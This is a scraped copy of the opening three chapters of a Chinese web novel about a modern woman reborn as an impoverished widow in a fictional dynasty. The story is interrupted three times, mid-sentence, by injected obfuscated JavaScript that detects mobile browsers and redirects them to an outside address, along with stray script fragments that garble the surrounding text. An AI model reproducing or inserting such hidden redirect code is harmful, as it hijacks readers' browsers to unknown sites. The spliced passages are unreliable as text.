《古代寡妇发家日常》 1. 诈尸啦 “我不管!大房一家早就分出去了!凭啥让我出这个钱!” 姚椿就是被这道足以刺穿耳膜的声音吵醒,听着很是讨厌。 “三根家的,满金是你亲孙子,往年地里的活哪回不是满金出力最多,现在满金媳妇也没了,好歹准备副薄棺让她安心随满金一道去了,一张破草席算什么事?!” 视线尚未展开,吵扰、哭泣声先至。 “是啊是啊,满金两口子也不容易……” “你看这事闹的,唉!作孽啊!” “呜呜呜呜!娘!” “嫂子!呜呜呜呜!” …… 此起彼伏的议论声,像唱大戏似的萦绕在姚椿耳旁。 然而她此刻眼前一片模糊,好像身处黑暗许久如今终于重见了天日。 一点光影都受不住,只觉得十分刺眼。 “破草席咋了?!最后不都是挖个坑,土一盖能有啥不一样!” 正准备起身姚椿听到这里,内心呵呵,都一样是吧,那你先起个头看看! 不过她的胳膊怎么好像抬不起来了,姚椿努力蛄蛹。 “呀——呀、呀!李凤丫!你大孙媳妇好像在动!” “放你爹的狗屁!死人咋个会动,想骗我老婆子没门!” 一道喷射的水渍从姚椿眼前一晃而过。 半天没蛄蛹起来的姚椿觉得自己大概是眼花了。 “你爹才放狗屁!不信你自己看!”好心提醒却被对方一通骂,第一个发现姚椿‘死而复生’的中年妇人当即嘴了回去。 “哎呀呀!好、好像真、真的在动!”此刻又有人惊呼,“诈尸啦!” 正专心活动四肢的姚椿并未在意她们交谈的话语,待双手好不容易有些知觉,准备扒拉开挡视线的东西时,她终于看清了自己目前的处境。 手上动作顿住,她下意识抬眼。 “嚯!”约莫十数双眼睛盯着她瞧,并在她抬眼后吓得纷纷往后退,生怕沾染到什么不干净的东西。 姚椿也跟着一哆嗦,慢慢地,她终于发现了不对劲的地方,就算自己车祸后又诈尸,也不至于就给自己一床破草席入土吧。 再说,如今人们都习惯了死后火化,土葬早就不流行了。 还没等她捋清楚,后退的人群中突然蹿出一矮一更矮两道人影冲向自己。 姚椿晕了过去。 被撞的。 * 暮色四合。 姚椿睁眼,脑袋昏昏沉沉。 入眼就是一个破败的草屋顶,突然脸有点痒,她下意识伸手一抹,发现全是屋顶掉下来是碎草渣子。 “?” 什么破烂房子。 姚椿有些迷茫,撑着疲惫不堪的身体坐起,艰难睁开眼皮,环顾四周。 然后发现破了个大洞的房顶还不是这间房子最破的地方。 一眼到头的的草屋连家徒四壁都算不上,因为有一面早已坍塌,只剩两根柱子都算不上的粗棍子勉强支撑。 所谓的门也只是一张不知道打了多少补丁的帘子,甚至眼瞧着还有些熟悉。 姚椿本能地低头看一眼,和她身上穿的明显是同一块布裁剪下来的。 所以现在到底是什么情况,难不成地府也有金融危机?否则怎么这么破。 姚椿清晰地记得自己被一辆‘发狂’的小汽车撞飞超一层楼那么高,那种只在电视剧里见过的‘不合理’场面就那么残忍且突兀地发生在她身上。 意识消失前的最后一刻,姚椿咬牙切齿地想,若自己还有机会活,以后谁再骂编剧不懂常识,呵呵,她一定怼回去! 哪里是不懂,可太懂了! 不过话说回来,她现在身子是热的,手脚都在,还有心跳,肢体也完整。 除了人感觉有点虚,其它部位都是一个健全的活人才能有的状态。 被撞成那样居然还能活? 但为什么不是在医院…… 刚想到这里,大脑伸出的记忆便如汹涌的潮水一般袭来。 半晌后,姚椿:“……” 她居然穿越了! 一个后世历史上并不存在的大雍朝。 现在这副身子的原主人和她同名,年纪倒是比她小几岁,今年才二十,然而小小年纪却已经是寡妇了。 寡妇……寡妇?! 姚椿猛地一激灵! 所以自己先前不是在做梦,真有人喊她娘! 脑海里沉睡的记忆一点点苏醒。 这具身体新寡丧夫,有个两岁的女儿,两岁……姚椿忽然又想晕了。 “婶婶,窝娘醒了!” 姚椿闻声抬头,是‘记忆’中的那个女童。 同样满是补丁的衣裳,巧妙地和门帘融为一体,她甚至有点怀疑女童身上的衣服和那块门帘也是出自同一块布。 巴掌大的脸,正是婴儿肥的年纪,却瘦得吓人。 正观察着,又听门帘外有人搭话,姚椿听到一个女人说:“阿月,粥给你嫂子端过去。” 阿月……原主的小姑子。 同样瘦得吓人的小姑娘,顶着一双肿得跟核桃似眼睛,一手端着碗一手牵着小侄女往里走。 “嫂子,这是荷花嫂子帮忙煮的粥,你五天没进食了,快喝一碗吧。” 五天没吃东西? 怪不得她醒来后头一阵一阵地晕,浑身无力,脑子也稀里糊涂,原主的记忆更是接受得磕磕绊绊。 饿了许久、几近濒临死亡的身体促使姚椿本能地接过豁口的粥碗往嘴边送。 粥应该早就煮好了,温度刚好,姚椿猛喝了一大口,然后就发现这哪里是什么粥,明明是混着红薯木糠煮的,米粒几乎看不见,这些在她小时候家里都是拿来喂猪的。 然而此刻,姚椿哪还顾得思考自己吃得的是人食还是猪食。 温热的红薯米糠粥流进胃里,极大地安抚了她的心神,一碗见底后甚至还想再来一碗。 望着眼前一小一更小的两个孩子,姚椿内心叹了口气。 原主是活生生饿死的,就为了想给眼前俩小姑娘多留一口粮。 自从原主的丈夫意外身亡后,原主和女儿以及小姑子就被原主丈夫的爷奶借着分家的名义赶了出来。 说是分家,实则却是借着分家的名头将孤儿寡母几个赶出家门。 除了村头的一间茅草屋外,仨人分到手的只有两小袋没装满的陈年旧粮、三份豁口缺腿的碗筷和一个旧陶罐以及她们身上破的没法再下补丁的衣裳。 原主丈夫姓纪,纪家祖上是逃荒到村子里的,一家十来口人逃到这里就只剩纪家夫妻俩和他们的小儿子,也就是原主丈夫的亲爷爷。 其他儿女要么在路上病死要么拿去与人换了粮食。 至于原主是怎么知晓的,是原主丈夫偶然偷听到的。 纪家夫妻偏爱小儿子,生生克扣了其他子女的救命粮养小儿子。 直到现在已经做了太爷爷的纪老头还时常和自家老婆子炫耀。 也许是得了自己爹娘的真传,纪老头如今偏疼的也是家里的小儿子。 纪老头和妻子李凤丫一共生了四个儿子。 原身丈夫纪满金是长房长孙,然而却没有这个时代普遍长房长孙所有的待遇。 大房夫妻俩在纪家就是活脱脱的两头叫不醒的老黄牛,对自己的孩子不闻不问,一心只有爹娘兄弟,最后也不负老黄牛的名头,早早累死。 家里没了免费劳动力,纪老头看来看去,老二夫妻只会偷懒耍滑,老三一家三棍子打不出一个闷屁,做事慢吞吞不说人还蠢笨,至于老四,读书人哪能做家里这些粗活。 纪老头还指望着这个老儿子将来光宗耀祖呢。 还是得大房来。 老大夫妻命薄,可还有个大孙子呢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446599|185123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当时只有十四五岁的纪满金就这样被迫接了爹娘留下来的烂担子。 打着他要照顾幼妹的由头,纪老头和李凤丫拖着他的婚事,好在纪满金并没有遗传爹娘的愚孝,他很清楚自己不能走爹娘的老路,只是当时妹妹还小,路都走不稳当,当时的他需要纪家,而纪家想用他小妹稳住他,至少明面上小妹能得到纪家的照顾。 直到数年后,他遇到了同样不得村里族叔伯伯们待见的孤女原主。 许是相似的经历让两个年轻人情不自禁靠近,没多久二人便成了亲。 待原主有了身孕后,纪满金便开始有了分家的想法,并为之做准备。 然而他却低估了纪老头的无情。 眼见原主嫁进来后,多了一个吃得更少的劳动力,纪老头怎么肯就这么放过小两口,但凡纪满金有一点分家的念头,他就拿孝道压。 小两口被磋磨了三四年,期间纪满金一直没有放弃带妻女和妹妹脱离纪家,或许他也没想到最后是用他的一条命来完成他多年的夙愿。 纪家所在的村子叫山前村,顾名思义,一座山前面的村子,附近的村子大多这样取名,要么以宗族姓氏为名,要么就是村子边上有什么叫什么。 比如隔壁的姚家村、前边的石头村,以及后面的山中村和山后村。 山中村住的大多都是以打猎为生的猎户家庭,而纪满金就是为了上山给妻女和妹妹打野食补身体,不小心被上山追捕逃犯的差爷误伤致死。 死得很冤不说,事后连安抚金都没有。 纪家等了半个月,眼见县里一点表示没有,立刻就撵原主仨人出门。 分到手的那点粮食都不知道有没有十斤,仨人硬是混着树根草皮熬了一个多月,直到原主饿死。 再然后,她就来了。 就是来的不是时候,咽了气的人又活了过来,的确挺吓人。 “醒了就好。” 姚椿抬头,看向从门外进来的人。 李荷花,村长家的大儿媳。 “荷花嫂子。”她遵循原主的叫法。 “你呀你。”李荷花心里有些话想说,可看了看眼前三个可怜人,最后只叹了口气道,“粮食的事你也别太担心,我家公爹说了,到时候找几个村里的后生帮你们母女仨开二亩荒地,辛苦两年总能熬过去。” 山前村是个杂姓村,大多数人家都是好说话的。 “这些粮食都是村里你家半碗他家两口攒出来的。”李荷花坐到岌岌可危的床边,指着床脚两个小布袋子道,“不多,就五十斤,你们娘俩和阿月先吃着。” 至于后面,李荷花一个农村妇人也没法做出什么承诺,都是家里公婆和男人让她怎么做,她就怎么做。 姚椿认认真真道了谢, 先不管以后,眼下她的确需要这五十斤粮食。 李荷花面上不显,心底却嘀咕了一句,到底是死过一回,人像是开了窍,性子都没以前闷了。 “那我就先回去了。”李荷花起身道,“有事让阿月来家里喊我。” “差点忘了。”刚走到门口突然又想起什么的李荷花扭头回来,窸窸窣窣又从袖袋里拽出个什么东西递到姚椿跟前:“这是我家公爹从你婆婆手里要来给你下葬的棺材钱,现在你……” “既然棺材用不上了,钱你拿着,虽然不多,但好歹能让平安阿月多撑些日子不是?”许是怕姚椿嫌弃这钱晦气,李荷花多劝了两句。 就这十几个大子还是她公爹以村长的身份强行让纪家出的,本想着让村里的后生去砍两棵树给姚氏打副薄棺,谁料人居然诈尸活了过来。 难不成真像村里说的是满金那娃子在天上看不下去纪家欺负姚氏孤儿寡母,显灵了? 李荷花一边出门,一边在心里嘀咕。 人走了。 姚椿握着还有余温的棺材本,和眼前两个难民似的女娃娃,互相大眼瞪小眼。 2. 棺材本 人生头一回拿着自己的棺材本,姚椿心绪颇为复杂。 不过话说回来,姚椿上辈子没有过孩子相处的经验,原主留给她的那些记忆,对她来说就像是看了一场无声电影。 看完好像是会了,可若要实际操作起来根本没法一模一样。 姚椿只能自我安慰眼下俩人还小应该看不出太大破绽,而且死过一回的人性情小变一下,应该能被理解。 “嫂子,我再去给你煮一碗!”纪满月见嫂子一直盯着自己和平安,手里紧紧攥着粥碗不放,以为她是没吃饱。 “不用了,我……”姚椿克制道,“嫂子吃饱了,你和平安吃了没?” 她尽量学原主的语气和两个孩子说话。 “吃了吃了,嫂子没醒的时候我们已经吃过一碗了。”纪满月连忙道。 姚椿以为她说的一人一碗,就没再往下问。 然而五十斤听着不少,可至少要熬到明年收成,将近一年时间,三个人五十斤粮食,根本不够! 因此荷花婶子要帮忙煮粥的时候,纪满月就只舀了勉强够煮两碗粥的量,一碗稠的给嫂子,自己和侄女平安合吃稀的那碗。 她和平安年纪小,不用吃太多。 原先嫂子一直省着不吃,就为了让她和平安多吃一口,结果自己却差点饿死。 回想起上午那场恐惧,纪满月身体颤了颤,大哥走了,要是嫂子也没了,她真不知道以后该怎么办。 想着想着,眼睛又红了,大肿眼泡子很是晃眼。 “咋了这是?”姚椿没哄小姑娘的经验,尽量学着原主的语气询问。 就是听着略有些干巴。 “没事嫂子,我、我就是后怕。”纪满月抬手抹了抹红肿的眼睛。 “平安也怕!”话音一落,姚椿就觉得自己的胳膊像被藤蔓紧紧缠住。 她低头。 平安是这女童的小名,大名叫纪宁,记忆里,两个名字都是原主取的。 从名字可以看出,原主对这个孩子的疼惜和期许。 在成为孤女前,原主也曾有过一个幸福的小家,作为家中独女,上过两年学堂的姚父没有觉得原主是个女娃就什么都不用学。 因此原主是识字的。 万幸的是,这个朝代的文字就是后世的繁体字,姚椿内心微松,自己不会变成文盲。 “好了好了,娘这不是没事嘛。”姚椿将小孩抱在怀里,略生疏地轻轻拍打了两下她没二两肉的后背,努力适应新身份。 两岁的孩子还不懂什么是死亡,她只知道差一点娘就要像爹一样被埋进土里,再也见不到了。 抬头望见小姑子眼巴巴的模样,姚椿动作一顿,朝她招手:“嫂子有点冷,过来给嫂子暖暖。” 纪满月眸光亮了亮,然后迅速贴过去,姚椿顺势将她也搂在怀里,让她坐到自己腿上。 两个小家伙短短一个月经历了两次最亲的人死在自己面前,如今正是最没安全感的时候。 正好姚椿现在也挺没安全感,莫名其妙来到一个陌生的世界,饶是面上再镇定,内心止不住的慌张却骗不了自己。 这具身体很虚,若正常重量的两个孩子,姚椿肯定抱不起来。 可怀里这两个,姚椿还是颇为轻松的。 因为实在太瘦了。 搂着两具温热的小身体,姚椿腾出空来观察这个勉强算作‘家’的屋子。 可以用家徒三壁来形容,唯一看起来有点价值的怕就是充作门的补丁帘子了。 哦,还有她身下这卷破草席子。 不过这席子怎么瞧着眼熟…… 还没想到为什么会眼熟,就听嘭的一声,她的屁股做了个自由落体运动,重重砸向地面。 锥心的麻痛从尾椎骨蔓延全身,短暂的一瞬里,姚椿有种灵魂出窍的感觉。 差点就要死第二回了。 “娘?”正沉浸在失而复得的母亲怀抱里的平安抬起脑袋,眼神里透着一丝迷茫。 怎么才在娘怀里眯了一下,娘就坐地上去了。 而纪满月则是慌忙起身,担忧又懊恼,自己怎么能忘了嫂子刚刚睡的床是临时搭的,根本经不起她们三个人的重量。 “嫂子,我扶你起来。” 姚椿踉跄起身,回头看了一眼被她一屁股摔成两半的草席,终于想起熟悉的感觉从哪里来。 这不就是她第一次醒来之后裹着她的那张嘛…… 姚椿揉了揉屁股,不知为何,内心有股没由来的荒诞感。 既然床都被她坐‘死’了,那就起来走走吧。 “嫂子你要去哪?”纪满月问。 “出去走走。”姚椿回。 “那我陪嫂子。”纪满月迅速道,没给姚椿半点拒绝的机会。 好在姚椿本就没有单独行动的想法,至于剩下那个,两只小手从始至终就没松开过她的裤腿。 破破烂烂的仨人就这样走出了家门。 也没走远,毕竟家里还有五十来斤的‘巨粮’。 怀揣着十几个大子的棺材本,姚椿在草屋附近走了走。 分给原主的草屋是纪家祖上逃难到山前村后暂避时盖的屋子,后来又成了纪家的牛棚。 再然后为了供纪老四读书,纪老头卖牛卖田,这草屋便也逐渐荒废。 姚椿几圈观察下来,草屋门前有原主用石头垒的简易灶台,上面坐着一个陶罐。 左右两边开了两块菜地。 粗粗看一眼,一棵菜秧子都没有,因为地才开出来,还没来得及去借菜种,原主就死了。 根据原主过往的记忆来看,山前村应该处于一个不南不北的地界,冬日不似北方天寒地冻,夏天也没有岭南的烟瘴酷暑。 是个很宜居的地方。 否则当年家乡遭难的纪家也不会往这里逃。 姚椿还从记忆里发现不大的山前村居然有三个大小不一的野生池塘,最近的距离她们所住的草屋只有两三丈远。 换算成后世大概就是十米不到。 池水清澈,偶尔能看到里头游跃的鱼儿。 姚椿咽了咽口水,可惜她现在根本没有多余的力气下塘抓。 而且天黑了又没有趁手的工具,不好抓。 没在池塘边上待太久,姚椿便带着俩小只回去了。 经历了一回死亡和穿越,姚椿此刻身心俱疲,不管明日如何,先睡一遭罢。 她们被分出来单过时正值夏日,所以纪家连床被子都没有分给她们。 好在现在离入秋还有几日,姚椿随意拢了拢地上散落的稻草,又把门帘扯下来当被子盖。 墙都塌了一面,门留着也没什么用了。 至于怕不怕半夜有人来骚扰,原主已经分出来一个月了,除了纪家那几个,再没有其他人来找过麻烦。 姚椿抱着‘闺女’,小姑子纪满月抱着五十斤粮食睡在最里面。 三人一粮齐齐躺在稻草上,合盖一张门帘睡过去。 一夜无梦。 姚椿已经许久未听过鸡鸣声。 她揉了揉差点被穿透的耳膜,无奈起身。 外头天色还是灰蒙蒙的,估摸着才五点,姚椿却睡不着了。 不过她昨晚也睡得早,估摸没到八点就进入了梦乡。 狠狠睡了一觉,人是舒服许多,虽然手脚还是轻飘飘,但不至于一点力气都没有。 姚椿试了试,嗯,至少能拿起煮粥的陶罐。 死而复生后的第一个早晨,姚椿也想做点好吃的,可巧妇难为无米之炊,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446600|185123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翻遍了整个家,也就找到了一小筐晒干的野菜和一小油纸包盐巴。 看来看去也就只能煮个野菜粥。 这时纪满月也醒了,正好姚椿不会点火,默默把地儿让给她。 纪满月也没怀疑,因为平时烧火的活儿就是她来做。 陶罐里装上清水,姚椿捡了装米的袋子里舀了小半碗去池塘边简单冲洗两遍,又洗了三个小红薯回来,粮食紧张也就没削皮,用力掰成两块,和米一起倒进滚烫的水里。 待熬煮得差不多,姚椿又把泡发的野菜干洗涮两下扔进陶罐,并用一双长短不一的筷子进去搅合搅合。 火候差不多了,姚椿告诉小姑子不用再添柴。 纪满月停下欲添一把柴的动作,抬头,视线望向热气腾腾的陶罐里。 心道,怪不得她闻到了一股香气,原来嫂子煮的是加了红薯的大米粥,还放野菜干和盐了! 姚椿小心翼翼却还是用了将近一半的盐巴,纪满月看到了,并没有说什么。 嫂子身体虚弱,家里连半颗鸡蛋都拿不出来,如今还有点盐巴,自然得紧着嫂子吃。 有了盐才能有力气,有力气就有希望。 纪满月已经打算好了,等会儿粥都留给嫂子吃,自己和平安一人两块红薯就够了。 野菜红薯大米粥,这已经是姚椿目前唯一能做出、且可入口的吃食。 粥好了,姚椿平均分成三碗。 纪满月见到忙说:“嫂子,我吃红薯就成。” “煮都煮了,快吃吧。”姚椿将粥递过去,内心叹了一声,小姑娘是被昨日的‘她’吓怕了,有点像样的吃食就想省下来给她。 “不吃饱饭哪有力气帮嫂子带平安。”姚椿找了个对方没法拒绝的理由。 成功劝说小姑娘把粥喝掉,姚椿进屋将半梦半醒的闺女叫醒。 小孩脸蛋睡得红扑扑,两只小手挡着脸顺便揉着眼睛,看清来人,当即扑了过来。 姚椿被迫接住往自己身上爬的闺女,转身往外走。 边走边听埋在颈边的人奶声奶气喊:“娘~娘~娘~” 娘个不停。 听着又呆又黏。 小猫崽似的。 姚椿觉得有些好笑。 才两岁多点的小孩就能乖乖捧着粥碗小口小口喝,还一点不洒。 喝一口看一眼姚椿。 一碗稀粥,姚椿三两下解决,余下的时间就尽盯着小孩喝粥。 她满眼稀奇,小小一个,居然会自己吃东西,真像个人,怪有意思。 没忍住逗道:“粥好喝不?” 纪平安点了点脑袋:“好喝,有味!” 一旁的纪满月听着眼热,自从分家以后,这还是她第一回吃到有明显咸味的食物。 家里只有嫂子偷藏的一纸包盐,为了多吃几顿,嫂子每回都只在她和平安的碗里放一丁点,她自己却吃了一个多月又苦又涩的树根野草菜团子。 上辈子姚椿没带过小孩,却也见过亲戚家的孩子,七八岁了还要爷奶追着喂饭,手里拿着玩具枪非说要把她枪毙。 见谁不爽就捶谁,亲生爹妈也没能逃过。 直到遇见姚椿才反被制裁。 被压着狂揍了一顿。 从此以后见到姚椿就像老鼠见了猫一样躲得远远的。 所以姚椿以前是不怎么喜欢小孩的。 可她现在已经占了别人的身体,对方留下两个嗷嗷待哺的孩子,她不可能就这样丢弃不管。 尤其目前看来又乖又可怜的俩姑侄。 先养着吧,姚椿想着。 不过话说回来,她该拿什么养。 姚椿摸了摸怀里被捂热乎的棺材本,思考怎么才能让这十几个大子变成白花花的银子。 3. 抚恤银 靠种地是不可能了,不说那二亩是新开的荒地,就算是上好的良田,一年下来收成好的话也不过是将将能果腹。 还有身后的屋子,就算不盖新的,起码得把墙和门装上吧,等立秋之后天气变凉,她们总不能盖着西北风睡。 而姚椿的这些计划都需要花钱。 单靠她的棺材本可不够。 姚椿扫了一眼一贫如洗的家,陷入沉思。 重操旧业?! 姚椿不经想。 穿越之前,姚椿刚继承了姥姥和妈妈两代人经营积累下的三家饭店。 她从小就喜欢钻研吃食,小时候跟着外婆摆摊,她就是外婆手里的兵,专门去刺探别家摊子的味道有没有提升或者有没有什么新的创新。 后来妈妈带着南下打工攒的钱和外婆摆摊存的票子作为启动资金才有了后来的姚记饭店。 可以说姚椿二十多年的记忆里,一半是小吃摊一半是姚记饭店。 回忆过往,姚椿唯一庆幸的是姥姥和妈妈不用白发人送黑发人。 也不知道她们母女投胎了没,千万别向自己一样莫名其妙穿到另一个世界,也不知道等她这辈子过完,下辈子还有没有机会和她们继续做母女/祖孙。 怀揣着这个希望,姚椿打起精神。 “嫂子,你在笑什么?”纪满月吃掉碗底最后一粒米,抬头就看见嫂子嘴角带笑望着远处,不禁好奇。 “活着真好。”姚椿低下头看她,“嫂子高兴。” 纪满月以为她说的是‘死而复生’的事,于是也跟着咧嘴。 是啊,不管前路如何,至少现在嫂子没事了,是该高兴。 “等会儿去给你哥磕个头吧。”想到什么,姚椿忽然道。 从不信鬼神的人偏偏穿越了,这让姚椿不得不带点敬重之心。 “嫂子是想和大哥告状吗?” “告什么状?”姚椿疑惑,她只是想告诉小孩的亲爹,自己虽然不是俩孩子的亲娘和亲嫂子,但自己既然占了原主的身子,只要自己活一天就会照顾俩孩子一天。 让他和原主安心投胎去。 “村里人都说是大哥在天上显灵才让嫂子你重新活过来。”提起大哥,纪满月嗓音还有些哽咽,“是真的吗?” 她继续仰头看着姚椿,“嫂子,你有看到大哥,有和大哥说上话吗?” 额,这让她怎么回。 望着她期盼的眼神,姚椿还真不忍心说实话,想了想回:“当然说啦,你大哥让我好好照顾你和平安。” 她话音将落,纪满月眼泪哗啦一下就落了下来。 也不知道为什么,平时很少掉眼泪的她,这两日总是控制不住自己。 纪满月一直用袖口擦拭眼角,似乎不想让姚椿看到这样的自己。 真是个倔强的小丫头。 知道对方不想让自己瞧见,于是姚椿去抱正在舔碗底的便宜闺女。 没有油水的稀粥本没什么好擦的,但她还是象征性地给小孩擦了擦嘴角。 待擦干净了,纪满月也缓过了心神,主动过来收拾碗筷。 还道:“嫂子,等下我们是不是还要去地里看看?” 村长爷爷请人帮她们家开了二亩荒地,现在还没到立秋,还能抢种一些粮食。 可是她们现在连粮种都没有。 想到这里,纪满月又忍不住一脸愁容。 “别想那么多,一切有嫂子呢。”姚椿揉了揉她的脑袋安抚道。 纪满月勉强点点脑袋,原主嫁到纪家的时候,她才三岁不到,几乎就是原主一手带大的。 对原主,除了姑嫂这一层关系外,纪满月心底早就把对方当成亲娘一般的存在。 纪满金就葬在后山,离纪家祖坟有些距离,是原主选的。 姚椿让小姑子牵着闺女,自己背着那五十斤粮,三人往后山走去。 没办法,谁让她们现在的家连蚂蚁都能畅通无阻。 为了保住最后这点生存粮,只能走哪背哪。 …… 晨早的风有些凉,李荷花离老远就看到了三颗近似的鸡窝头。 当即松了口气。 天知道当她去到家里没瞧见人,家当也不见了的时候心里有多慌。 她还以为姚氏想不开带俩小的去找她们的爹/哥了呢。 还是妯娌提醒她,会不会去了后山,毕竟满金那小子就葬在后山。 李荷花这才反应过来,她让妯娌回去先和公婆说一声,自己往后山这边找。 好在找到了。 “姚妹子!”她喊。 这个时辰谁没事会往后山来,姚椿闻声回头。 “荷花嫂子。”待看清来人,姚椿有些惊讶。 像是有什么喜事似的,李荷花急急走近,刚要张口余光瞥见碑旁的粮袋,额角一跳:“姚妹子你这不会是要把粮食都留给满金吧?” 姚椿当然摇头:“嫂子误会了,这不是想来看看孩子她爹,又担心家里没有人会遭贼。” “所以就背着粮食一块过来,也好让孩子她爹看到我们娘仨儿没有饿肚子,让他也安心投胎去。” 这话让李荷花无言以对。 村里其他人家她倒是可以保证,难的是纪家。 以纪老头和李老婆子的脾气还真有可能撺掇家里的晚辈过来偷粮。 “嫂子找我有事吗?”姚椿又问道。 “不是我,是我家公爹。”李荷花神神秘秘道,“你放心,是好事。” “山上风大,走,去家里说。”李荷花一把抱起倚在纪满月怀里困倦不已的平安对姚椿道。 “好。”姚椿微笑着。 背着粮食带着疑问跟李荷花回去。 李荷花家在村中心,一半青砖一半土砖的房子。 院子也比村里其他人家要开阔些。 毕竟公爹是一村村长,日子多少要好过些。 她们到的时候,李荷花的婆婆已经在门口等着了。 “快进来。”她朝姚椿几人招手。 看到姚椿背上的东西,问了和大儿媳同样的问题。 姚椿回了差不多的解释。 成功让李桂香也露出与李荷花如出一辙的表情。 村长姓赵,赵家人丁兴旺,李荷花的婆婆李桂香生了四儿一女,皆已娶妻嫁人。 紧接着又给她生了一串孙子孙女。 别看赵家屋子多,现在也都是挤着住呢。 没办法,家里穷,虽说一年到头挨不到饿,却也没有半个铜板的余剩。 李桂香也愁啊,眼见着大孙子渐渐大了要说媳妇儿,可家里却拿不出彩礼钱。 不过与这两日发生的事对比,李桂香又庆幸,家里虽然穷,但至少几兄弟和睦。 望着眼前难民似的娘仨儿,李桂香心一软,拿出早准备好的甜枣,一人塞了一颗。 猝不及防被塞了一颗干巴甜枣,姚椿还有些懵。 “吃吧,甜甜嘴。”李桂香怜惜道,“回头婶给你们拿把木梳。” 李桂香的女婿是镇上的木匠,家里最不缺这些小玩意儿。 听到她的话姚椿眼底闪过一瞬尴尬,其实她早上起来后也想好好梳个头发,奈何没找到梳子。 古代女人头发又长又厚,单用手很难完全解开。 姚椿想跳过这个话题,好在很快她们就到了堂厅。 李桂香拉着她进屋,姚椿看到了在堂厅内等着的赵村长。 约莫五十上下的年纪,宽厚的面庞,一眼望去,眉眼清正。 “村长叔。”姚椿凭着记忆喊人。 赵村长让她坐。 李桂香只拉了姚椿一人进来,两个孩子交给了大儿媳带去厨房喝糖水。 家里的孩子也被她轰出家门玩儿去。 眼下堂厅内就他们三人。 姚椿抱着粮食坐下。 看到她怀里的粮袋,赵村长不明所以,问了和老妻一模一样的疑问。 姚椿不厌其烦地解释。 得知答案的赵村长:“……” 竟反驳不了一丁点。 “还是满金的事。”赵村长是个干脆的人,反驳不了就不去想了,“满金的抚恤银有着落了。” “抚恤银?”姚椿讶异,“可先前不是说……” “先前是没有。”赵村长也没有隐瞒的意思,“这不是突然换了个县官,偶然得知了满金的事,认为前面那位县官处置有疑,于是就……” 余下的话他不说姚椿也明白了。 大概前一任县令是个糊涂官又或者可以说是个视民为草芥的贪官,而新上任的县官或许是个不错的官,又或者只是为了和前任有个明显的对比,让百姓们觉得自己是个好官。 但不管怎么说,眼下情况对她有利。 就见找村长从怀里掏出一个布包。 “县里的意思是,满金是因为县里抓捕犯人误伤而丧命,抚恤银一共分为两份,一份是他身后事所需的花费,一份是伤亡补偿,其中伤亡补偿分了三份,你平安还有阿月那丫头一人一份。” 这里赵村长特意点出了阿月的名字,是为提醒姚椿可不能忘了满金还有个妹妹。 现在看她对阿月很好,可日后呢。 人心难测啊。 万一姚氏将来改嫁又另生了儿女。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446601|185123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>赵村长不信她后头那个能真心对待平安和阿月。 所以在县里给出所谓的补偿后,他特意求到里正跟前,让他帮忙走了下关系,把其中一份补偿分成了三份并在县里过了明路。 好不容易处理妥当从县里回来就听到姚氏命丧的消息,他当时差点没缓过气来。 家都没回就赶去纪家,看到纪家那俩老货连个棺材都不愿给姚氏打一副,一贯好脾气的赵村长终于强硬了一番,从纪家要来十几个大子,打算找几个村里的后生给姚氏打副薄棺下葬。 姚椿自然听出了对方话里的意思。 这是在提点她呢。 不过姚椿并不反感,对方也是为了阿月好。 她在想或许就算自己没有穿过来,有这样负责的村长,应该不会任由纪家人欺负平安和阿月。 “您的意思我明白,只要有我在一天,就不会让人欺负平安和阿月。”姚椿保证道。 赵村长见她不似在说假话,这才慢悠悠解开布包继续说道:“银子一共有十两,其中一两……”他顿了顿,“回头重新给满金打副棺材吧。” “剩下你们娘仨一人三两。”他拿出其中一份三两,又从另外两份中各抽出一两,一起递给姚椿,“剩下这些我私自做了回主,放我这存着,待阿月和平安长大后,给她们做嫁妆银。” 怕姚椿不同意,赵村长还拿出过了明路的协议:“我记得你是识字的,协议一式三份,你我各一份,还有一份留县记档。” 姚椿接过五两银子,心道,总算有了启动资金。 而且是足足五两。 要知道这年头一家上下十几口一年的嚼头也不过二三两。 十两银子对普通人家来说可以说是一笔巨款了,而赵村长却一厘不少都转交给了她。 至于为什么不怀疑赵村长私底下昧下部分,协议上都写着呢,县里定了多少抚恤银,具体分成几份,都盖着官印。 若赵村长想昧下,直接当没这回事好了,费心费力弄个假的盖着官印的协议不是给自己留下把柄么。 “除了抚恤银,县里还另外拨两亩良田给你们娘仨儿。” “还有两亩良田?!”先前李桂香只知道有抚恤银的事,只觉得姚氏母女和阿月总算是能喘口气了。 到时候咬咬牙买一亩好田,搭着那两亩荒地再把屋子修一修,熬两年总能过去。 